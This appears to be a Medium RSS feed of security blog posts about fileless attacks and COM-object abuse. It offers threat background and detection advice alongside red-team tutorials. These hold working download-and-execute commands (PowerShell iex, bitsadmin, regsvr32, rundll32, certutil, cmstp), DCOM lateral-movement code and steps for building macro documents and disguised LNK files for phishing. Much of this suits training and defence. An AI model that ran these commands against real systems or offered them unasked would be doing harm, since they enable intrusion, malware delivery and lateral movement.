<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Amr Thabet on Medium]]></title>
        <description><![CDATA[Stories by Amr Thabet on Medium]]></description>
        <link>https://medium.com/@amrthabet?source=rss-cbae6aa7201a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*qhk9Ux--1sSzJoIt</url>
            <title>Stories by Amr Thabet on Medium</title>
            <link>https://medium.com/@amrthabet?source=rss-cbae6aa7201a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 14:12:13 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@amrthabet/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Fileless Attacks at a Glance: Weaponizing Powershell & Microsoft Legitimate Apps]]></title>
            <link>https://medium.com/maltrak/fileless-attacks-at-a-glance-weaponizing-powershell-microsoft-legitimate-apps-39d973096f6c?source=rss-cbae6aa7201a------2</link>
            <guid isPermaLink="false">https://medium.com/p/39d973096f6c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Amr Thabet]]></dc:creator>
            <pubDate>Fri, 22 Nov 2024 16:43:24 GMT</pubDate>
            <atom:updated>2024-11-22T16:43:24.576Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>Fileless attacks have been around for so many years. Yet, they are still quite effective in bypassing antiviruses and making detection &amp; response harder.</p><p>Not only that but also, fileless attacks make Threat intelligence harder while relying mostly on file hashes and IoCs that might change from one version to another.</p><p>In this article, we will go through what fileless attacks are, their components, and how to detect, investigate, and secure your organization from them.</p><h3>What’s Fileless Attacks?</h3><p>Fileless attacks are the type of attacks that avoid writing files to the disk. They might have malicious code that operates entirely in memory, leveraging legitimate system tools and processes to execute their payloads.</p><p>It doesn’t mean Fileless attacks don’t write files at all. They might start from a malicious document with a macro or a .LNK file (desktop shortcuts), but the remainder of the attack becomes fileless.</p><p>Instead of dropping more executable files or scripts onto the target system, attackers inject malicious code directly into running processes or use built-in Windows tools like PowerShell, Windows Management Instrumentation (WMI), LOLBAS/LOLBINS, and registry keys to carry out their objectives.</p><h3>Why Fileless Attacks?</h3><p>These sophisticated attacks are particularly dangerous because they bypass traditional file-based security solutions and leave minimal traces on the system.</p><p>They also bypass digital forensics and leave no non-volatile artifacts. Taking a disk copy or collecting artifacts using KAPE might not help.</p><p>Also, if the malware is not aiming to maintain persistence (autorun when the system restarts), there might be no traces of this malware once you restart the system. Breaking the incident response &amp; investigation process.</p><p>Lastly, fileless attacks might help in bypassing whitelisting. Relying on Microsoft’s legitimate applications and other tools widely used by the victim can help bypass any restrictions on executing unknown or malicious executables.</p><p>Lastly, Fileless attacks are easier to conduct, scripts are easier to obfuscate and make the attack more efficient in many ways. Even maintaining persistence is easily achievable with registry values containing PowerShell scripts.</p><h3>Misconception About Fileless Attacks</h3><p>Here are some misconceptions about fileless attacks you need to be aware of:</p><p>• <strong>“Fileless attacks are new”</strong></p><p>Fileless attacks have been around for over two decades. The Code Red worm from 2001 is a good example of an early fileless attack that infected thousands of systems without writing files to disk.</p><p>• <strong>“Attacks are exclusively fileless”</strong></p><p>Most fileless attacks still interact with the file system at some point. They often combine both fileless and file-based techniques, making them hybrid threats rather than purely fileless operations.</p><p>As we said previously like writing a malicious document with a macro or a .LNK file.</p><p>• <strong>“Fileless attacks are rare”</strong></p><p>According to recent security reports, approximately one-third of all attacks are fileless or employ fileless techniques. This makes them a significant and common threat in today’s cyber landscape.</p><p>• <strong>“Traditional antivirus can stop fileless attacks”</strong></p><p>Conventional antivirus solutions often struggle with fileless attacks because they primarily rely on file-based detection methods. This is why specialized behavior-based security solutions are necessary for effective protection against fileless threats. Something like EDR (Endpoint Detection Response) or similar host-based intrusion prevention systems</p><h3>Components and Techniques of Fileless Attacks</h3><h4>1. Scripting Engines</h4><h4>Powershell</h4><p>Powershell is one of the most common scripting languages used by attackers. It provides access to most Windows features, is built-in in Windows, and can load C# modules directly in memory (As well as access to Windows APIs like C++).</p><p>Microsoft tried to provide different security features in Powershell to limit its use by attackers like AMSI, Script Logging, and much more but still it’s commonly used by attacker groups today.</p><pre>iex((New-Object Net.WebClient).DownloadString(&#39;https://malware.com/payload.ps1&#39;))</pre><p>In this simple script, the attacker Downloads an additional PowerShell payload and executes it in the memory (without writing it to disk). The “iex” instruction is a shortcut/alias for “Invoke-Expression” which executes a code</p><p>And “New-Object Net.WebClient” is a Powershell code that interacts with Microsoft .Net Classes (Net.WebClient in this example) to create a code-based web browser that downloads the malware using “DownloadString”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JNlAhPxGjzBIi1aoP5ahaQ.png" /><figcaption>APT 41 Powershell C&amp;C Communications by <a href="https://threatmon.io/">https://threatmon.io</a></figcaption></figure><p>Here is another example of the use of Powershell in C&amp;C communications by APT41.</p><p>In this script, the malware sends some information to the attacker including the public IP (from ip-api.com), Network adaptor info, OS info, Antivirus information, and user info (whoami).</p><p>So, Powershell can be used as a stage 1 Download &amp; Execute script or can be the full-fledged malware sending victim’s information and execute commands.</p><p>With tools like <a href="https://github.com/danielbohannon/Invoke-Obfuscation">Invoke-Obfuscation</a> or <a href="https://amsi.fail/">AMSI.Fail</a>, the attackers can bypass Powershell’s security features and bypass Antivirus scanning</p><h4>VBScript &amp; Javascript</h4><p>Another common scripting languages are Javascript &amp; VBScript. These 2 scripting languages can be used in the first stage of the malware with COM Scriptlets or even without being completely fileless with wscript.exe application.</p><p>These languages don’t provide the same ability to run inline scripts from the commandline like Powershell but they can be executed from inside an XML file or other uncommon types of files</p><p>Also, they provide the ability to execute applications (including Powershell with an inline script) or load a complete C# module in memory with DotNetToJScript.</p><p>You can read more about these uses in COM Objects For Red Teaming here:</p><p><a href="https://medium.com/maltrak/com-objects-p-1-the-hidden-backdoor-in-your-system-947ac4285e85">COM Objects P.1: The Hidden Backdoor in Your System</a></p><p>Example malicious javascript code:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/31c3a5a4857beb4c6c005182d1d46685/href">https://medium.com/media/31c3a5a4857beb4c6c005182d1d46685/href</a></iframe><p>This is a Download &amp; Execute javascript that downloads an additional script. It doesn’t save it to disk but executes it directly from memory using “eval” command</p><h4>2. LOLBAS/LOLBINS</h4><p>Microsoft has a lot of legitimate applications that can be abused to download, decode, and execute payloads either directly from memory or from disk</p><p><a href="https://lolbas-project.github.io/#">LOLBAS project</a> provides a list of all the different applications you can abuse, what use you can get out of them, and how you can abuse them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p1lJqxZIbMObIqUfFOeKEA.png" /><figcaption>LOLBAS project: <a href="https://lolbas-project.github.io/#">https://lolbas-project.github.io</a></figcaption></figure><p>You can use these legitimate applications to download and execute a malware when the system is idle like bitsadmin</p><pre>bitsadmin /create &lt;malware-job&gt;<br>bitsadmin /addfile &lt;malware-job&gt; http://&lt;malware website&gt;/&lt;malware&gt;.exe &lt;file path&gt;<br>bitsadmin /SetNotifyCmdLine &lt;malware-job&gt; &lt;command to execute&gt;<br>bitsadmin /resume &lt;malware-job&gt;</pre><p>This list of bitsadmin commands create a new job for downloading the malware payload. Downloads it when the system is idle and uses /SetNotifyCmdLine to execute the malware afterward.</p><p>This also can be used to download encoded payload, decode it, and execute it later using other LOLBINs</p><p>Another example here is from APT41 using ForFiles.exe to execute command prompt commands.</p><p>The tool is used for file searching and matching and it’s able to execute an application once it finds a match (in this case notepad.exe) inside a specific folder (system32 in this case).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dMbILC-B7xY6HDSzWyd-ug.png" /><figcaption>APT41 — Maintain Persistence using ForFiles.exe Legitimate Application —by <a href="https://threatmon.io/">https://threatmon.io</a></figcaption></figure><p>You can also see other LOLBINs in our article</p><p><a href="https://medium.com/maltrak/com-objects-p-2-your-stealthy-fileless-attack-bf78318d9165">COM Objects P.2: Your Stealthy Fileless Attack</a></p><h4>3. Memory Injection</h4><p>Memory injection is one of the most common techniques used in fileless attacks. It allows attackers to disguise their malware and its behavior as legitimate tools that are already in use by the victim.</p><p>The attacker might target chrome.exe to disguise malicious communications as normal browsing, either by using code injection or even using a malicious extension.</p><p>They can also inject code inside svchost.exe (Service Host Process) to disguise malware as a service. Some malware goes to the extent of creating its own svchost.exe for the sole purpose of injection. This typically occurs in conjunction with a known memory injection technique called Process Hollowing.</p><p>Process Hollowing, first introduced in the Stuxnet malware, is a technique that involves executing a legitimate application for the sole purpose of running malware. Here’s how it works:</p><ul><li>The malware opens a process in suspended mode</li><li>It replaces the legitimate application code with malware in its memory space</li><li>Finally, it resumes the execution of the process</li></ul><p>After this process, the legitimate application no longer exists in memory; only the malware remains, and it’s the only code executing in that process space.</p><p>You can read my full analysis report for stuxnet here</p><p><a href="https://www.codeproject.com/Articles/246545/Stuxnet-Malware-Analysis-Paper">Stuxnet Malware Analysis Paper</a></p><p>Memory Injection can be used to remain running and undetected by injecting into a process or a service running uninterrupted in a server. That could be Tomcat.exe or any other service/application running continously without interruption</p><h4>4. Other Techniques</h4><p>Attackers might use other scripts like bash scripts, AppleScript, python or other languages to maintain persistence.</p><p>They might use malicious documents with macros (VBA scripts) for initial access and then move into more downloadable payloads over the time.</p><p>They might use WMI and RPC protocols to execute malware remotely on other systems</p><p>Lastly, they might use Active Directory as the only way to maintain persistence with other applications like ngrok for RDP Tunneling or TeamViewer for persistence, and rclone or sftp for data exfiltration.</p><h3>Recommendations For Fileless Attacks Detection &amp; Response</h3><p>To respond to Fileless attacks, you need to have</p><ul><li><strong>More Visibility: </strong>You need to have visibility over Endpoints and Servers with implementing Endpoint Detection Response (EDR) or any Host Intrusion Prevention System (HIPS) like sysmon or OpenEDR</li><li><strong>Memory Analysis &amp; Monitoring: </strong>Being able to see the host activities is important but without the ability to dig into the raw data on the machine itself, you might be missing a lot of information. <br>EDRs and sysmon can be turned off or muted, you will need to be able to use memory analysis tools like volatility or collect volatile and non-volatile data using <a href="https://www.kroll.com/en/services/cyber-risk/incident-response-litigation-support/kroll-artifact-parser-extractor-kape">KAPE </a>or <a href="https://github.com/davehull/Kansa">Kansa</a> frameworks.<br>They might also help in detecting memory injections that can’t be seen by EDRs</li><li><strong>Powershell Logging &amp; Monitoring: </strong>Powershell is the most common scripting language by attackers. Powershell logging is not the best solution but it provides an additional layer of defense and detection for malicious scripts</li><li><strong>Enable Powershell Constrained Language Mode:</strong> Constrained language mode can help prevent the use of some .Net classes, Win32 API calls, and other possibly malicious scripts.<br>Constrained Language Mode can be bypassed by either downgrading to Powershell V2, loading assembly loading through other means or other techniques. So, make sure to follow best practices while implementing Constrained language mode</li><li><strong>Active Directory Monitoring &amp; Hardening:</strong> Active directory misconfigurations and lack of monitoring can leave for the attacker not only open doors for lateral movements but also for maintaining persistence for years inside the domain. Make sure to implement a monitoring tool on Active Directory (Like Microsoft Defender for Identity) and actively test it for weaknesses using Red Teaming services</li></ul><h3>Conclusion</h3><p>Fileless attacks have been around for so many years. Yet, they are still quite effective in bypassing antiviruses and making detection &amp; response harder.</p><p>They rely on abusing Microsoft legitimate applications, utilizing different scripting languages and memory injections to move from one stage to another and from one payload to another without touching the disk.</p><p>You need to not rely 100% on traditional antivirus products but implement Endpoint Detection Response on Endpoints &amp; Servers, monitor for PowerShell activities, and active directory attacks.</p><h3>Next Article</h3><p>In this next article, we will be exploring a real fileless attack step-by-step. We will be analyzing the attack together and provide specific recommendations to detect and respond to this attack. So, stay tuned</p><h3>What is MalTrak &amp; How We Can Help You?</h3><p>MalTrak is a cybersecurity startup that provides expertise in incident response and threat hunting for targeted attacks, APT attacks, and ransomware attacks.</p><p>It’s created by Amr Thabet, Former malware researcher in Symantec, Speaker &amp; Trainer in Blackhat, Hack In Paris, and others, and the author of the highly-rated “Mastering Malware Analysis” book</p><p><a href="https://www.amazon.com/Mastering-Malware-Analysis-practical-cybercrime/dp/1803240245">Mastering Malware Analysis - Second Edition: A malware analyst&#39;s practical guide to combating malicious software, APT, cybercrime, and IoT attacks</a></p><p>We provide you with unmatched expertise, we multiply it with our state-of-the-art AI Investigate tool (currently in Beta) created to mimic our threat investigation process and provide in-depth memory forensics capabilities powered by AI</p><p>And we make sure to provide that for other small-medium businesses with tight budgets</p><p>We will make sure to improve your visibility, your time-to-response, and your maturity level with a fraction of the price of other Managed services that provide half of what we offer.</p><p>And if you already have your security team and want to take their skills to the next level, we provide advanced malware analysis &amp; threat hunting training.</p><p>Interested? Reach out to us using enterprise[at]maltrak.com</p><p><a href="https://maltrak.com/">Enterprise Solutions | MalTrak</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=39d973096f6c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maltrak/fileless-attacks-at-a-glance-weaponizing-powershell-microsoft-legitimate-apps-39d973096f6c">Fileless Attacks at a Glance: Weaponizing Powershell &amp; Microsoft Legitimate Apps</a> was originally published in <a href="https://medium.com/maltrak">MalTrak</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[COM Object P.3: C&C and Lateral Movements]]></title>
            <link>https://medium.com/maltrak/com-object-p-3-c-c-and-lateral-movements-f74bfce2a50b?source=rss-cbae6aa7201a------2</link>
            <guid isPermaLink="false">https://medium.com/p/f74bfce2a50b</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[lateral-movement]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Amr Thabet]]></dc:creator>
            <pubDate>Wed, 16 Jun 2021 12:02:47 GMT</pubDate>
            <atom:updated>2021-06-16T12:02:47.477Z</atom:updated>
            <content:encoded><![CDATA[<p>In the previous blog posts, we looked at how attackers and red teamers can abuse COM Objects to bypass whitelisting, file signatures, and craft their Fileless attack. If you haven’t seen the previous posts, here they are:</p><ul><li><a href="https://medium.com/maltrak/com-objects-p-1-the-hidden-backdoor-in-your-system-947ac4285e85">COM Objects P.1: The Hidden Backdoor in Your System</a></li><li><a href="https://medium.com/maltrak/com-objects-p-2-your-stealthy-fileless-attack-bf78318d9165">COM Objects P.2: Your Stealthy Fileless Attack</a></li></ul><p>Today, we will talk about how we can use COM Objects to hide your C&amp;C communication and to make it look like legitimate browsing. Also, we will cover lateral movement and how we can COM Objects to execute commands on other systems in the same network (Using Microsoft RPC protocol, port 135).</p><h3>COM Objects for Command &amp; Control</h3><p>COM objects are not only useful through these Scriptlets, but also the existing COM objects are extremely useful in gathering information, executing code, or even communicating with the attacker C&amp;C.</p><p>One of these useful COM Objects is InternetExplorer.Application. This COM object allows you to start an Internet Explorer process (iexplore.exe) and control this browser to go to navigate to a specific page and download its content.</p><p>This COM object gives you far greater control as it allows you to fill forms and submit which is pretty useful in sending back some info to the attacker.</p><p>This COM object is accessible through any programming or scripting language (if the Sandbox allows it to. So, VBA Macros might not). Here is an example of how to use it through Powershell:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2b0eeb38f67a442be02cae668e1c30ea/href">https://medium.com/media/2b0eeb38f67a442be02cae668e1c30ea/href</a></iframe><p>With these few lines of code, you can start an iexplore.exe process, make it navigate to your website, and download the page you want to download.</p><p>While debugging your code, you can set the browser to be visible like this:</p><pre>$net.visible = $true</pre><p>The benefit of this technique is that the iexplore.exe process is not created as a child process to powershell.exe (or your malware process) but a child process to svchost.exe. So, it’s very difficult to trace it back to your own malware.</p><p>This COM Object basically creates 2 processes (from svchost.exe):</p><p>1. ielowutil.exe -CLSID:{0002DF01–0000–0000-C000–000000000046}</p><p>2. IEXPLORE.EXE -Embedding</p><p>And Iexplore.exe creates another instance of itself for each COM Object created from “InternetExplorer.Application” that looks like this:</p><pre>IEXPLORE.EXE SCODEF:24036 CREDAT:9478 /prefetch:2</pre><p>These command-line arguments are mainly used for COM Objects which is a good tip for detections. But the good thing is, it’s very difficult to know which process exactly that created this object.</p><p>Many browsers do provide functionality for automation and control (maybe that’s why you see CAPTCHA everywhere on the internet) including chrome.exe, Edge, and others. The argument -Embedding is commonly used to represent the controlled process.</p><p>Lastly, the controlled processes don’t use the user cookies, saved passwords, history, or bookmarks. They are using the “guest” profile and have very limited access to the user settings and data.</p><p>For Javascript implementation of this COM Object, here it’s:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3a928f4aa8ce0c05bdd9b24ef905e4e1/href">https://medium.com/media/3a928f4aa8ce0c05bdd9b24ef905e4e1/href</a></iframe><p>As you see, it looks very similar to the Powershell script. And as well, it can work from inside a COM Scriptlet (.SCT File).</p><h3>Distributed COM Objects for Lateral Movements:</h3><p>COM Objects can be used locally as we saw until now and as well, they can be used remotely using what’s called DCOM or Distributed Component Object Model.</p><p>DCOM replies on the RPC Protocol (port 135) and it allows the attacker or the applications to create COM Objects on a remote system and execute its functionality.</p><p>DCOM is enabled by default as you can see in the screenshot below (Y means Yes and N means NO)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fHBDsQz4wDW9XPdRD8RJsA.png" /><figcaption>EnableDCOM Setting in the Registry Editor</figcaption></figure><p>You can change the settings from here:</p><p>Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLE\EnableDCOM</p><p>Executing DCOM Objects is not very different from what you got used to do in PowerShell or javascript to create a COM object. All you need to do is to provide an optional parameter for the server IP that you want your COM object to start into.</p><pre>net = new ActiveXObject(“InternetExplorer.Application”,”192.168.1.14&quot;);</pre><p>For Powershell, it gets a bit more complicated. The code for PowerShell looks like this:</p><pre>$net = [activator]::CreateInstance([type]::GetTypeFromProgID(“InternetExplorer.Application”,”192.168.1.14&quot;))</pre><p>This technique can be used to download &amp; execute malware in other systems in the network. As well, you can use it to just disguise the network communication to the C&amp;C by using InternetExplorer in a remote system to communicate with the attacker (if your malware is willing to wait for Internet Explorer to load).</p><p>One of the ways to execute a command on the remote system is by using “MMC20.Application” Object (First published by Matt Nelson of SpecterOps <a href="https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/">here</a>) like this:</p><pre>$mmc = [activator]::CreateInstance([type]::GetTypeFromProgID(“MMC20.Application”,”192.168.1.14&quot;))</pre><pre>$mmc.Document.ActiveView.ExecuteShellCommand(“cmd.exe”,$null,”/c calc.exe”,”7&quot;)</pre><p>This technique requires an elevation of privileges.</p><p>There are way more techniques to include. Cybereason has documented many of them. I will leave you with this source <a href="https://www.cybereason.com/blog/dcom-lateral-movement-techniques">here</a></p><h3>Conclusion</h3><p>COM Objects are the swiss army knife for any attacker or red teamer today. They are built with no security in mind and led to lots of opportunities to abuse them to bypass defenses, escalate privileges and move laterally inside the organization.</p><p>If you are a red teamer, learning how to abuse COM objects will get you far ahead in bypassing defenses and detections. And if you are a blue teamer, protecting your organization against such types of attacks should be one of your top priorities and would definitely elevate your organization’s security posture.</p><h3>In-Depth Comprehensive Red Team Training:</h3><p>If you want to dive in-depth into this topic and other advanced attacks techniques, check out our training:</p><p><strong><em>“Advanced Red Teaming: Weaponization &amp; Adversary Simulation”</em></strong></p><p>This is a live instructor-led training that focuses on developing cyber weapons that can evade AV detection, EDR logs, and forensics traces like how advanced targeted attacks do, and provide you with insights on how to improve your organization’s overall detections and security posture. Check it out from here: <a href="https://maltrak.com/redteam">https://maltrak.com/redteam</a></p><h3>References:</h3><ol><li><a href="https://blog.malwarebytes.com/threat-analysis/2014/02/observing-com-within-malicious-code/">https://blog.malwarebytes.com/threat-analysis/2014/02/observing-com-within-malicious-code/</a></li><li><a href="https://malware.news/t/hunting-com-objects/30207">https://malware.news/t/hunting-com-objects/30207</a></li><li><a href="https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/">https://pentestlab.blog/2017/05/08/applocker-bypass-installutil/</a></li><li><a href="https://www.cybereason.com/blog/dcom-lateral-movement-techniques">https://www.cybereason.com/blog/dcom-lateral-movement-techniques</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f74bfce2a50b" width="1" height="1" alt=""><hr><p><a href="https://medium.com/maltrak/com-object-p-3-c-c-and-lateral-movements-f74bfce2a50b">COM Object P.3: C&amp;C and Lateral Movements</a> was originally published in <a href="https://medium.com/maltrak">MalTrak</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[COM Objects P.2: Your Stealthy Fileless Attack]]></title>
            <link>https://medium.com/maltrak/com-objects-p-2-your-stealthy-fileless-attack-bf78318d9165?source=rss-cbae6aa7201a------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf78318d9165</guid>
            <category><![CDATA[incident-response]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mitre-attack]]></category>
            <dc:creator><![CDATA[Amr Thabet]]></dc:creator>
            <pubDate>Wed, 02 Jun 2021 12:02:57 GMT</pubDate>
            <atom:updated>2021-06-02T12:02:57.594Z</atom:updated>
            <content:encoded><![CDATA[<p>In the <a href="https://medium.com/maltrak/com-objects-p-1-the-hidden-backdoor-in-your-system-947ac4285e85">previous blog post</a>, We have talked about COM Objects and how you can craft a COM Scriptlet with javascript or VBScript code that allows you to execute applications, download and execute additional javascript, or even load a C# module to use the full power of the .Net framework for your payload.</p><p>Today, we will be covering the execution and more of the aspects of the Fileless attack. We will cover the initial access phase and the multi-stage payloads.</p><p>So, let’s get started with the execution.</p><h3>Executing Your COM Object Scriptlet:</h3><p>Here is the main benefit of these COM Objects, they can be executed using legitimate Windows applications. These applications are signed by Microsoft, trusted, and exist on all windows machines.</p><p>There are multiple applications you can abuse here to download your SCT File (COM Scriptlet) and execute its javascript code.</p><h4>Option 1: The Simple Direct Way</h4><p>The first technique is simply using regsvr32.exe to execute the SCT file (the most known COM Scriptlet executor) and that can be easily detected:</p><pre>regsvr32 /s /n /u /i:http://server/file.sct C:\Windows\system32\scrobj.dll</pre><p>Another way is by using rundll32 with HTML Application (HTA):</p><pre>rundll32.exe javascript:”\..\mshtml,RunHTMLApplication “;document.write();GetObject(“script:http://127.0.0.1:8080/calc.sct&quot;).Exec();</pre><p>Which basically using javascript code to load the SCT file and execute it online. This method will require the COM Scriptlet to have public methods to be executed.</p><h4>Option 2: Obfuscation &amp; Encoding using CertUtil.exe</h4><p>And another method to download the file is by using another Microsoft legitimate application to obfuscate (just a little) your COM scriptlet to avoid detection. And this application is Certutil.exe</p><pre>certutil.exe -urlcache -split -f “https://malware[.]com/malware.sct.base64&quot; malware.sct.base64</pre><pre>certutil.exe -decode malware.sct.base64 malware.sct</pre><p>and then you can use regsvr32.exe as you would normally do:</p><pre>regsvr32 /s /n /u /i:malware.sct</pre><p>This technique helps to bypass network detection or SSL Strip techniques, Man-in-The-Middle techniques (by replacing the SSL Certificate) which are used as well in different security products.</p><h4>Option 3: Using CMSTP INF-SCT Files:</h4><p>Another interesting option is CMSTP.exe. This is the Microsoft Connection Manager Profile Installer and it accepts INF configuration files. These files can download and execute a COM Scriptlet. The format of these INF Files is like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d75af9e371eeac444e3fe670dd9400af/href">https://medium.com/media/d75af9e371eeac444e3fe670dd9400af/href</a></iframe><p>As you see here, we included the path to scrobj.dll (that helps us to load COM Scriptlets) and the link to our scriptlet file</p><pre>[UnRegisterOCXSection]</pre><pre>%11%\scrobj.dll,NI,http://127.0.0.1:8080/test.sct</pre><p>To execute these files, you have plenty of options:</p><pre>cmstp.exe /su test.inf</pre><p>Or using rundll32 like this:</p><pre>rundll32.exe advpack.dll,LaunchINFSection test.inf,DefaultInstall_SingleUser,1</pre><p>For more information, I recommend you to check this article:</p><p><a href="https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/">https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/</a></p><p>All these applications can help you bypass Whitelisting and AV file signatures (as your SCT files are sent through HTTPS and not saved to disk). As well to test your security team (or client’s security team detections)</p><p>All these applications can be copied somewhere else, renamed or even the DLLs copied and renamed to bypass detection and still load your SCT files or INF files and execute your malware.</p><h3>Attack Vector: How the attacker gets his foot into your machine:</h3><h4>Option 1: Spearphishing With Malicious Document:</h4><p>One of the simplest ways to craft your attack is by using VBA macro code inside a malicious document. Simply, create a new word document, go to ViewàMacro and Create a new macro like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nGTt9U3Uv5gnTqCw7ARAuA.png" /></figure><p>And from the macro page, choose this Project (Your document name) and ThisDocument</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*EifaIBPjazKNLOI0nmo0Ow.png" /></figure><p>In the last step, write this VBA code to execute regsvr32 in the command prompt to download and execute your COM Object Scriptlet like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b73f2348ded178aede249bcf8dfa7188/href">https://medium.com/media/b73f2348ded178aede249bcf8dfa7188/href</a></iframe><p>In this code, we use the VBA function “Shell” to execute commands in the command prompt. And we make sure that this code runs once the document is opened by writing all this code inside the “Document_Open” method (which gets executed automatically at the start of the document of the users enabled the macro content).</p><p>Last, you should save the document as a macro-enabled document (.docm) and you can rename it later to “.doc” if you wish. (.docx is macro-free documents, your macro won’t work in this case)</p><h4>Option 2: Using LNK Files:</h4><p>Another smart option is to create a LNK file (shortcut file) that executes your regsvr32.exe with your Scriptlet (or rundll32 javascript option).</p><p>For this shortcut to work, you will need it to have an icon of a known file type (pdf, jpg, png, or even a folder) and make your social engineering story enticing enough for the user to click on it.</p><p>Creating a shortcut file is easy, you can create it manually or you can use PowerShell to create it like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7f97bdcadc3bfc5294c3f423eb355867/href">https://medium.com/media/7f97bdcadc3bfc5294c3f423eb355867/href</a></iframe><p>The icon location must be an application path then “,” and last the icon number. In this example, the shortcut will have the icon of a folder.</p><p>In the TargetPath, you can specify the name of the application you want to use (regsvr32 or rundll32) and the Arguments will include the path of your COM Object file.</p><h4>Option 3: Excel 4.0 Macros With INF:</h4><p>Here is the tricky one, an idea I believe was first presented by Philip Tsukerman in Cybereason which is using Excel 4.0 Macros to load an INF File (which later loads our SCT file)</p><p>Excel has 2 types of macros:</p><p>1. The Normal VBA macro code</p><p>2. The Excel 4.0 Macro</p><p>The Excel 4.0 Macro code is written in an excel sheet created for macros. To create it, you will need to go to the sheet tabs at the bottom and right-click there, and click Insert</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wuuZVGad05sb0Xu6PyGQoQ.png" /></figure><p>Then choose MS Excel 4.0 Macro and you will be greeted with an empty sheet for you to write your Macro code.</p><p>Inside this sheet, you can type “=” followed by the code you want to execute. These macros bypass AMSI technology and as well give you so much of abilities and control than VBA macros.</p><p>To open your INF file, you can use this command:</p><pre>=CALL(“advpack”,”LaunchINFSectionA”, “JJJFJ”, 0, 0, “ C:\Users\amrth\Desktop\test.inf,DefaultInstall_SingleUser,1”,0)</pre><p>This command works very similarly to rundll32 with 1 caveat, the “JJJFJ”. I wouldn’t go into details on this one but each letter represents the type of argument this API takes. The J represents a 32-bit integer and F represents a string (text).</p><p>The first letter represents the type of return value (which is a number in this case) and the latter ones represent the arguments LaunchINFSectionA takes. This API looks like this:</p><pre>int WINAPI LaunchINFSection(</pre><pre>HWND hwndOwner,</pre><pre>HINSTANCE hInstance,</pre><pre>PSTR pszParams,</pre><pre>INT nShow</pre><pre>);</pre><p>The HWND, HINSTANCE, and INT are just 32-bit integers (numbers with 4 bytes size) and PSTR represents a string. So, “JJJFJ” represents these API arguments &amp; the return address perfectly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DMQF6N3WLfQVOOTYFj4_6w.png" /></figure><p>Adding to this line, you can include dumping the INF File from another sheet to disk, execute it and delete the file after.</p><p>As well, you will need to add the “Auto_open” formula to this column A to ensure that the document always starts with your code.</p><p>Lastly, obfuscation of this code is totally possible as well as hiding the excel macro sheet. This can take its own blog series but it’s worth researching and diving deeper.</p><h3>Multi Staging: Download &amp; Execute The 2nd Stage Script:</h3><h4>Multi Staging Using XSL Stylesheets:</h4><p>COM Objects is not the only technique that allows executing scripts (javascript or VBScript) out of context, there are multiple other ones and one of these is XSL Stylesheets.</p><p>We won’t get into all details of this technique but for now, we will describe how to create the Stylesheet XML files (that allows javascript &amp; VBScript) and how you load it and execute it within your COM object.</p><p>The format of these XSL Files is like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a 